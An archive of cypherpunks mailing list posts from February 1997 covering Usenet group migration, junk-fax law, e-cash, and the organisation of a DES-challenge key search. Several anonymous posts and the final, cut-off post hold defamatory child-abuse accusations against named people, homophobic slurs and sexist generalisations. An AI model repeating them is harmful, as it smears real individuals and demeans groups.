I saw a reference to an FAQ by Adam Back, explaining the mailing lists
that are being set up to replace cypherpunks@toad.com, but I didn't see
the FAQ itself, on either cypherpunks-unedited or cypherpunks@toad.com, which 
I read as mail.cypherpunks. Maybe it fell through the cracks. Could Adam
or somebody else repost it? Thanks.

Btw, one of our many news servers has alt.cypherpunks, but it has very
low traffic. I doubt people are not posting. Must be alt.cypherpunks
missing from some upstream sites.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 15 Feb 1997 20:33:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Where is the reorg FAQ?
In-Reply-To: <9702151935.ZM26624@razor.engr.sgi.com>
Message-ID: <199702160433.UAA27937@netcom20.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das writes:

> Btw, one of our many news servers has alt.cypherpunks, but it has very
> low traffic. I doubt people are not posting. Must be alt.cypherpunks
> missing from some upstream sites.

To spam propagation islands, it might be a good idea to crosspost to
alt.privacy when posting to alt.cypherpunks.  It will probably take a week
or two before everyone who is going to create the group on their news
server gets around to it. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 18:14:43 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: More on digital postage
In-Reply-To: <v03007800af2bb42ce4e7@[207.167.93.63]>
Message-ID: <199702160233.UAA05925@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. May wrote: 
> At 11:40 AM -0600 2/15/97, snow wrote:
> >Mr. Bell wrote:
> >> However, you connect that fax machine to a phone line, when you know full
> >> well that should it be enabled to do so, it will automatically pick up the
> >> phone when it "hears" a ring, and will print out a fax based on information
> >> provided.  It isn't clear why sending a fax is any "wronger" than mailing
> >> junk mail, or making a (voice) phone call to somebody.
> >	That is a ridiculous argument. The door to my home is connected
> >to the street,m and I know full well that that makes it easy for anyone
> >to come wandering in to my home. Is it legal, just because I have my
> >home hooked to the street, for someone to come in and help themselves to
> >a beer out of my fridge?
> 
> The proper parallel is to _knocking on the door_. Talking about "unwanted
> phone calls" or "unwanted faxes" as being equivalent to entering a house
> and wandering around is incorrect.

	With phone calls, yes. With unwanted faxes no. With Phone Calls, 
and knocks on the door I have the option of simply not answering. Faxes
(in certain enviroments) you can't do that with. 

> Our society fairly reasonably allows tort relief for, say, having one's
> doorbell rung frequently or at odd hours. On the fax issue, similar tort
> relief could be obtained if a person or business was truly "under attack."
> (Purists, like me, would probably prefer technological solutions even in
> these cases. Leave a phone on answering machine mode, only switch on the
> fax mode when a fax is expected, etc.)

	Or simply a societal acceptance of retaliation(sp?) Someone who
constantly wakes you up in the middle of the night, well you just arrange
it so they get no sleep. 

> These tort actions are a far cry from proposals that anyone whose knock on
> the door, or phonecall, or e-mail, or fax is subject to criminal
> prosecution under proposed new laws.
> (I think the courts are already clogged enough, and I have faith that no
> court in the land will accept a case where no real harm was done. A friend
> of mine got mailbombed with 25,000 e-mail messages in one day, shutting
> down his account until the mess could be cleaned up, and it's not even
> likely he'll ever get any relief.)

	I (I think like you) feel that almost no one will get convicted
of these "crimes" unless the attacker simply goes too far. 

> What CompuServe did was quite different, as CompuServe decided that some
> e-mail would not be delivered. This is essentially comparable to the Postal
> Service deciding that mail from the National Rifle Association is, to them,
> "junk," or to the phone company deciding that phone calls from Libya or
> Iraq or some other unfavored nation will be fed to a dead number.

	Not really. The US Postal service is a regulated monopoly, and 
is the only game in town. If they weren't a regulated monopoly, I wouldn't
care if they refused to carry certain peices of mail, the mailer would have 
the option of simply using a different service.

	Thus with compuserve, they have the right (as a private company)
to refuse to deliver what ever they wish. And their users have the right 
to go elsewhere. 

> Getting the courts and the regulators involved in deciding what speech is
> junk and what is not junk is unconstitutional, which was my earlier point.

	Which I argee with.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Ioannidis <ji@hol.gr>
Date: Sat, 15 Feb 1997 11:35:51 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702152332.VAA29132@prometheus.hol.gr>
MIME-Version: 1.0
Content-Type: text/plain


I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
for their boards. However, last I checked with them (about half a year ago)
the price of the boards was pretty steep -- of the order of $1K. 

Anyway, if the boards Peter is referring to are ready in the next couple 
of months, I volunteer to write drivers for Linux and *BSD*.

/ji




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 15 Feb 1997 13:19:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Firewalls
Message-ID: <199702152040.VAA19964@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


The only `culture' Timothy Mayo possesses is that 
cultivated from his foreskin scrapings.

          \\\^^^^^///
           = 0   0 =
        -o00--( )--00o-- Timothy Mayo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Sat, 15 Feb 1997 15:58:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
In-Reply-To: <199702130157.RAA13355@toad.com>
Message-ID: <Pine.3.89.9702152248.O1276-0100000@marui>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Hal Finney wrote:

> A simple idea we have discussed for full anonymity uses the idea of
> exchanging coins at the bank.  You make an anonymous connection to
> the bank, supply some ecash you have received along with some blinded
> new ecash.  The bank verifies that the ecash is good and signs your
> blinded ecash, sending it back to you.  You unblind it and have good,
> fresh smelling ecash which you can keep, spend, or later deposit in
> your account.

Isn't this the way that 'Magic Money' works? You don't have to open an
account at the bank, you simply exchange the cash you receive for new cash
which you can then spend.

	Mark

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Feb 1997 15:09:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) DES challenge organisation
Message-ID: <199702152256.WAA00403@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



An announcement forwarded to me (due to being on des-challenge mailing
list I think) of proposed organisation for breaking RSADSI's DES
challenge.

Those interested in participating might wish to join the lists
mentioned.

In addition the list: des-challenge@muffin.org is for discussion of
the DES challenge, and can be subscribed to by sending email to
majordomo@muffin.org.

-Adam

======================================================================
Subject: Announcement: Organisation Committee
From: ths@rz.tu-ilmenau.de (Thomas S.)
Date: 15 Feb 1997 18:27:40 +0000

Hi!

The six volunteers who answered the call for a committee of
management have got together to try to help 'steer' the DES challenge.
We have considered the available options of proceeding, and we kindly
ask everyone interested in this project to follow our proposals, to
avoid waste of efforts.

1. The attempt to break the key will be coordinated. We chose this
   mainly because we can make a political statement. We don't want it
   to be a race for money.
   
   Each task will be handled by logically separate servers, some of
   which with be replicated and run as a hierachy. The protocol will
   use UDP, although there will be gateway servers for other protocols
   (such as HTTP, SMTP, FAX, etc). We hope that one of the first
   requests for a key range will be from parties interested in using a
   "random" approach -- we would appreciate some discussion on how
   large their ranges should be.

2. There will be one consistent WWW structure for the project. It does
   not have to managed by a single person. This structure should
   provide statistics, information for developers, interested users
   and perhaps even for the press. Several mirrors and translations
   will be started soon. The starting point is:
	http://www.des.crypto.org/ [fh28.fa.umist.ac.uk/des/]
   The url in brackets has to be used till we get the final subdomain.
   Likewise for the rest of this document.

3. The work of the different groups should be stated and coordinated
   on the page http://www.des.crypto.org/people.html.
   [fh28.fa.umist.ac.uk/des/people.html] This is to avoid uncoordinated
   parallel developmemt. Please write to Thomas S. 
   <webmaster@mail.des.crypto.org> [webmaster@fh28.fa.umist.ac.uk] 
   if you what want to be mentioned on this page. 

3a. Several mailing lists have been set up for the different groups: 

des-coding	for the actual DES routine and optimisation
des-networking	for the network code and protocol
des-www		for www contributions and mirrors
des-pr		for press contact, translations etc (like challenge-pr)
des-misc	:-)
des-announce	moderated, important information for users of the client

List address: <list>@lists.des.crypto.org [@xtn.net] 
To subscribe, send mail to majordomo@lists.des.crypto.org [@xtn.net] 
with in the body of the message (several actions allowed): 
   subscribe <list> 
Achives available (see homepage).

4. The actual DES routine has to be written and optimised. We ask
   developers to participate and coordinate their efforts using the
   mailing list des-coding. For obvious reasons, developers outside
   the USA are prefered, but "publication" of algorithms seems to be
   a legal way go get around. Please do not use this list to 
   distribute crypto code.

5. The prize money will be split equally between Gutenberg and EFF.
   There is a possibility of using part of it for stickers or
   something similar, but don't count on it.

We hope to get a working system up and running ASAP. The fact alone
that DES is seriously challenged (with a reasonable time frame) should
give us quite some publicity (by the time the system is ready). If we
can make use of that, we will have significantly more client than for
the 48 bit key.

The organisation committee:

Piete Brooks <Piete.Brooks@cl.cam.ac.uk>
Jered Floyd <jered@mit.edu>
Tim Newsome <drz@froody.bloke.com>
Germano Caronni <caronni@tik.ee.ethz.ch>
Thomas Roessler <Thomas.Roessler@sobolev.rhein.de>
Thomas S. <ths@fh28.fa.umist.ac.uk>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Feb 1997 15:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <199702152302.XAA00412@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Thomas S <ths@fh28.fa.umist.ac.uk> writes:
> [...]
>
> 5. The prize money will be split equally between Gutenberg and EFF.
>    There is a possibility of using part of it for stickers or
>    something similar, but don't count on it.

Not a good idea.

How can this be enforced?  The RSADSI DES challenge is open to all
comers, and how do you prove that someone who finds the key found it
through this group effort?

I have a suspicion many people would be tempted to fill in the RSA
challenge form and email it in themselves.  $10,000 is a fair amount
of money.

I know I would be tempted.  I have been running Svend Olaf's DES code,
and my intention in the unlikely event that I hit the key had been to
claim the money.

How does it hurt the publicity if the actual individual who finds the
key takes the money?  Surely it adds excitement to the story?

In fact it would provide people with a possibly more powerful
incentive to try to break the key in the first place -- in the hopes
of winning the prize!  $10,000 means more to a lot of people than
opposing ITAR/EAR, and participating in a technical challenge.  To
start with a lot of people who's CPUs we could be using don't even
know what ITAR/EAR are!

> We hope to get a working system up and running ASAP. The fact alone
> that DES is seriously challenged (with a reasonable time frame)
> should give us quite some publicity (by the time the system is
> ready). If we can make use of that, we will have significantly more
> client than for the 48 bit key.

I would have thought announcing that $10,000 can be won by running
easy to use windows software on a wide selection of newsgroups would
get you lots of CPUs!

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 21:23:13 -0800 (PST)
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Where is the reorg FAQ?
In-Reply-To: <199702160433.UAA27937@netcom20.netcom.com>
Message-ID: <199702160520.XAA23763@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mike Duvos wrote:
> 
> Anil Das writes:
> 
> > Btw, one of our many news servers has alt.cypherpunks, but it has very
> > low traffic. I doubt people are not posting. Must be alt.cypherpunks
> > missing from some upstream sites.
> 
> To spam propagation islands, it might be a good idea to crosspost to
> alt.privacy when posting to alt.cypherpunks.  It will probably take a week
> or two before everyone who is going to create the group on their news
> server gets around to it. 
> 

Better yet, crosspost to misc.misc.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 23:20:22 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: More on digital postage
In-Reply-To: <199702160610.BAA13975@homer.iosphere.net>
Message-ID: <v03007800af2c66413211@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote:

>Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
>out rules limiting the time of day, etc. for phone spam (voice or
>fax).  Does anyone out there have the specifics of the CRTC regs?

"Spam" has rapidly become one of those overused, overloaded, meaningless
words. Everything bad on the Net these days is labelled "spam."

For the phone example in Canada, just what is "spam"?

-- Is it the semi-traditional definition of "spam," i.e., a phone call made
to thousands of sites? (At the same time? Sequentially? How?)

-- Is it a robo-dialer, with no human at the other end?

-- Or is it merely an "unwanted phone call"?


As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
(Though obviously the courts and prisons are not about to be filled up with
people who committed the heinous crime of making an unrequested phone call.)

The danger of all "junk mail" and "junk phone call" laws is that they give
power to the government to decide on what is junk and what is not.

Not something we should support.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zac <speidel@lightspeed.net>
Date: Sat, 15 Feb 1997 23:20:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <3306B9C0.2B23@lightspeed.net>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBCRIBE CYPHERPUNKS lspeiel@lightspeed.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Sat, 15 Feb 1997 22:25:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on digital postage
In-Reply-To: <199702150841.AAA07715@toad.com>
Message-ID: <199702160625.AAA11443@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter J. Capelli writes:

 >  I pay for my phone service;

I assume you pay a flat rate and not by the incoming fax!

 >  I pay for my fax, toner, and
 > paper.  If they use my property without getting permission first, 

So, if a person uses a computer fax-modem and, therefore, paper,
toner, etc. aren't used, does this change the situation?  

Suddenly we're very close to the situation of junk-email.  (Except
that the sender of the junk fax incurs long-distance charges, if there
are any, not to mention he pays for the phone service the same as you 
do)

 > I believe
 > that *is* ( or should be ) illegal.  

"There should be a law!"  5 of the ugliest words in the English
language when put together.

Look.  I understand your sentiment and junk faxes piss me off as well,
but the cost of government regulation is too high in my opinion.  As
I'm sure you're aware, government does a *great* job of creating
sensible and useful regulations.

Unfortunately, fax machines can't distinguish the text of messages, so
you can't do filtering or bounce messages, etc.  (Although I have been
known to send a nasty reply fax or two.  And I never fail to call the
send of the fax to complain and have the junk faxes terminated)


 > Your argument that my plugging a fax 
 > machine itno a phone line I know it will answer, even if it is unauthorized,
 > is tantamount to saying that if I leave my keys in my car, anyone can take
 > it, and legally so!  While it may be foolish to do that, being
 > foolish is not
 > a crime 

You purchased the fax equipment.  Why should the government regulate
its usage for you?  

Ideally, the manufacture of fax machines which are able to
authenticate a sender in some manner before permitting the actually
permitting transmission of the fax out to paper would likely eliminate
junk faxes.

Of course, this would involve strong encryption.  And -- wouldn't you
know it! -- that's covered by a range of confusing and threatening
federal regulations



-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sat, 15 Feb 1997 22:10:08 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160609.BAA13953@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 paul@fatmans.demon.co.uk wrote:

<earlier discussion excised>

> Not my point, I didn`t say I would refuse, as in my example, to have 
> my car serviced by a woman, rather, that I would not feel comfortable 
> doing so. This is not prejudice, it is a statistical judgement based 
> on the fact that, as a percentage, I know few women who are competent 
> car mechanics but I know a number of men who, by the same criteria, I 
> would call competent. 

Acknowledged, agree to disagree :-).  (Very few of my male friends
can do more than sew on a button, but that doesn't weight my choice
of a *professional* tailor.)  It did, however, sound like you were
agreeing with the previous poster's (more extreme) position.

> Very much so, I did not intend, even though my post may have appeared 
> that way, for one minute to suggest that women were *unable* to carry 
> out certain tasks, just that they seem less suited to certain 
> vocations that others. For example, I know a number of good female 
> History or English students but very few good female mathematics 
> or computer science students. This is not, I believe, because women are 
> not "suited" to computer science rather that they have never been encouraged 
> at high school etc. to learn about such subjects which are seen as male preserves. 
> I wholeheartedly believe this should not be the case, and my original 
> post may have been misleading, I just believe that in the current 
> system very few women do become good at science/technical subjects.

Agreed (sadly) that there is a dearth of role models like Mme. Curie
or Roberta Bondar.

There is also an unfortunate "geek stigma" often attached to those
who are good at math or science (male or female). Whether this stigma
discourages more girls than boys is questionable (psychology thesis,
anyone?), but it has probably resulted in good-math-potential brains
taking economics (or whatever) instead.  Fewer competitors for the
56-bit prize, but also fewer brains thinking up better PRNGs.

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sat, 15 Feb 1997 22:10:23 -0800 (PST)
To: dthorn@gte.net
Subject: Re: More on digital postage
Message-ID: <199702160610.BAA13975@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 Dale Thorn wrote:

> jim bell wrote:
>
> > But having an address, and a walkway, and a doorbell is generally considered
> > if not explicit permission, but at least toleration of the idea that
> > somebody can walk up and knock on the door, etc.  Having a telephone with a
> > number that anyone can dial is going to result in some level of intrusion.
> > Having a fax machine is a similar issue, unless technology provides a way to
> > block unwanted faxes.
> 
> There are some neato methods to deal with the door and the phone,
> but I haven't investigated faxes since I don't run one at home.

Boring but it works: There are plenty of fax-to-PC programs out
there.  Anyone can save *lots* of trees by viewing faxes on the
screen before printing the useful page(s).  Yes, I know, this means
human intervention, but so does crumpling up the ***BUY NOW***
garbage, tossing it at the recycle bin, missing, cursing, etc.

Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
out rules limiting the time of day, etc. for phone spam (voice or
fax).  Does anyone out there have the specifics of the CRTC regs? 

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 15 Feb 1997 23:51:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on digital postage
In-Reply-To: <v03007800af2c66413211@[207.167.93.63]>
Message-ID: <199702160754.BAA06052@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May writes:

 > "Spam" has rapidly become one of those overused, overloaded, 
 > meaningless words. Everything bad on the Net these days is labelled
 > "spam."

The term "spam" has its origins in the well-known Monty Python
Viking sketch, where a diner has breakfast menu offerings such as

          Spam, spam, spam, spam, eggs, and spam. 

This sequence of one repeated thing, with an occasional something 
else, reminds us of how our news spool looks after spam has happened. 

> For the phone example in Canada, just what is "spam"?

> -- Is it the semi-traditional definition of "spam," i.e., a phone call made
> to thousands of sites? (At the same time? Sequentially? How?)

> -- Is it a robo-dialer, with no human at the other end?

Calling one person a thousand times is certainly spam.  Calling
a thousand different people is probably "Excessive Multiple Calling",
or some such acronym. 

> -- Or is it merely an "unwanted phone call"?

This is definitely not spam. 

> As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
> (Though obviously the courts and prisons are not about to be filled up with
> people who committed the heinous crime of making an unrequested phone call.)

If someone is calling me every day, and I ask them nicely to stop, 
continued calling should be illegal harrassment.  If I've never heard
from them before, then a couple unwanted calls aren't a big deal. 

The same principle should apply if someone decides they have a
Constitutional right to bang on my front door at 6 am each and every
morning.

> The danger of all "junk mail" and "junk phone call" laws is that they give
> power to the government to decide on what is junk and what is not.

> Not something we should support.

I wouldn't mind laws against "repeated unwanted communication."  That
way I decide what is and is not junk, and the perpetrator is on notice
that further waste of my time, fax paper, phone line, or mailbox
space will not be viewed benevolently. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 15 Feb 1997 23:53:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam, Spam, Digital Postage, and Spam
Message-ID: <199702160756.BAA06103@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Sun, 16 Feb 1997 03:39:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks.* groups make primenet.com
Message-ID: <3.0.16.19970216054024.2b6f878a@mailhost.primenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Primenet.com has picked up the alt.cypherpunk feed.
And, there was spam (yum, yum) on it already.

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwbyForpjEWs1wBlAQEOYQP/bU7uRm5YIMgSkH9QoRLm1UzUCcJ8kxoY
okFp6cshYvn5zZf4Kp8z9eWh67ox8yN/Lsp8DzFRkS9xrmobX/5givMut304rN5+
p213AzjaEOhfaat5w4AWUPU1xAIkTnI0jqN4vslKQ0Y77fyrzRgwtCCvsw2VzCfv
hPSSApmGuys=
=mlts
-----END PGP SIGNATURE-----

Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 15 Feb 1997 22:07:33 -0800 (PST)
To: Dale Thorn <cypherpunks@toad.com>
Subject: Re: Keep it Simple and the Cypherpunk Way
In-Reply-To: <3305FA8F.3B5D@gte.net>
Message-ID: <199702160607.XAA28162@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970215:1003 Dale Thorn <dthorn@gte.net> said:

+Vladimir Z. Nuri <vznuri@netcom.com> said:

+> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
+> the logical conclusion of your views playing out before you. acrimony,
+> bitterness, resignation, chaos, confusion, cacaphony, anarchy.

+Perhaps you should turn your talents to writing country songs.

    and if I play it backwards I get my dawg, my truck, and my gittar back.

 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwaj+b04kQrCC2kFAQH0oAQA3pueKSWg2Fqvb6h3psP67rF18N/kwaMP
nD6LE7DgzNYVTYwwKjk/eT8/i2kdSEAS8MqkmVc7KwZqsHWl4Ttj23A1GaTHzobL
IWwfRAR6BJfcjyvQSzkG/Pq4R7FYvyLoSAqwsYLvlWvC35kiYwwjll9/zprLQbWq
RHlrPaY54EU=
=I9gB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 16 Feb 1997 04:54:45 -0800 (PST)
To: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Subject: Re: Crypto code published in magazines
In-Reply-To: <199702160658.WAA27706@toad.com>
Message-ID: <199702161254.HAA10775@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Gutmann writes:

: I'm trying to find instances of crypto code published in computer magazines i
: n 
: the last few years.  I know of Blowfish in DDJ, are there cases of more 
: mainstream computer mags like Byte publishing crypto code (I know Byte did DE
: S 
: in 1977, I'm hoping for something a bit more recent)?.  Please mail or cc 
: replies directly to me, nntp.hks.net seems to have died :-(.
:  
: Peter.

If there are any responses I would be very interested in seeing them
too.

Thanks,
Peter
--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 16 Feb 1997 08:43:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale: What a laff!
Message-ID: <199702161643.IAA17153@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sat, 15 Feb 1997 18:42:11 -0800
From: Dale Thorn <dthorn@gte.net>

Dale sagely wrote:

:Wine and cheese are the key.  You hit that one on the head.  I tried
:those Mensa parties in Beverly Hills a few times.

Oh what a kidder this Dale is.  At Mensa party no less!!

Whatta farce!

Still love you fella.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Sun, 16 Feb 1997 09:51:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI_100
In-Reply-To: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com>
Message-ID: <199702161740.JAA06581@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 16 Feb 1997 07:18:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Degausser
Message-ID: <199702161518.KAA10019@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tim C. May's babblings are preposterous lies, wild 
distortions, child pornography (both as graphic descriptions 
and in JPEG format), ethnic slurs, and racial epithets.

         _
        / '
       |
    /><oo><\  Tim C. May
   //[ `' ]\\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sun, 16 Feb 1997 05:58:03 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re:
Message-ID: <856100903.115099.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > PS. His sexist comments are rubbish too.  I usually like his crypto posts,
> > however, as long as they are technical rather than legal...
> 
> Paul's sexist comments are very interesting - I hope to find more time to
> comment on them too. I don't know if they have the same kind of "affirmative
> action" in the U.K. that they have in the U.S. - here if you find a woman
> in the position of authority, there's a good chance that she was promoted
> ahead of more qualified men to meet some quota, and is therefore incompetent.

We do not have such laws as far as I`m aware (I try to know as little 
as possible about law and finance/econimics as I find them intensely 
boring, even if they are necessary knowledge as a proponent of 
freedom of action and speech) but in my experience a number of 
employers promote women ahead of men in order to avoid costly 
industrial tribunals brought for discrimination. I also believe for 
the same reasons a lot of known homosexuals, blacks, <insert minority 
group of choice here> are promoted ahead of more qualified white, 
straight males.
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 07:26:21 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Dangerous Homosexuals on Usenet
In-Reply-To: <51662D33w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970216101738.2356C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Read this and you will understand why we must 
take heed of these dangerous homosexuals who have
infiltrated Usenet in the past five years, ever since
David Lawrence took over.  J.D. Falk, the perverted
child molester from the D.C. area has had a lot to do with
this take-over by the homosexuals.  Read Dr. Vulis's account of
the last 10 years here:

On Sat, 15 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

